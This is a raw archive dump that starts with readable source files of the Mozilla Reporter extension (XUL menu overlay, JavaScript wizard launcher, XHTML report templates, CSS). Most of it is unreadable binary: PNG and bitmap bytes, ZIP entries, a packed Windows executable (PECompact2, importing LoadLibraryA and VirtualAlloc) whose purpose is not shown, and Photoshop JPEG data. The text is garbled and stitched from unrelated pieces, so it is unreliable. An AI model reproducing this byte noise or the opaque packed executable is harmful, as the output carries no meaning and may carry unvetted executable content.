return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
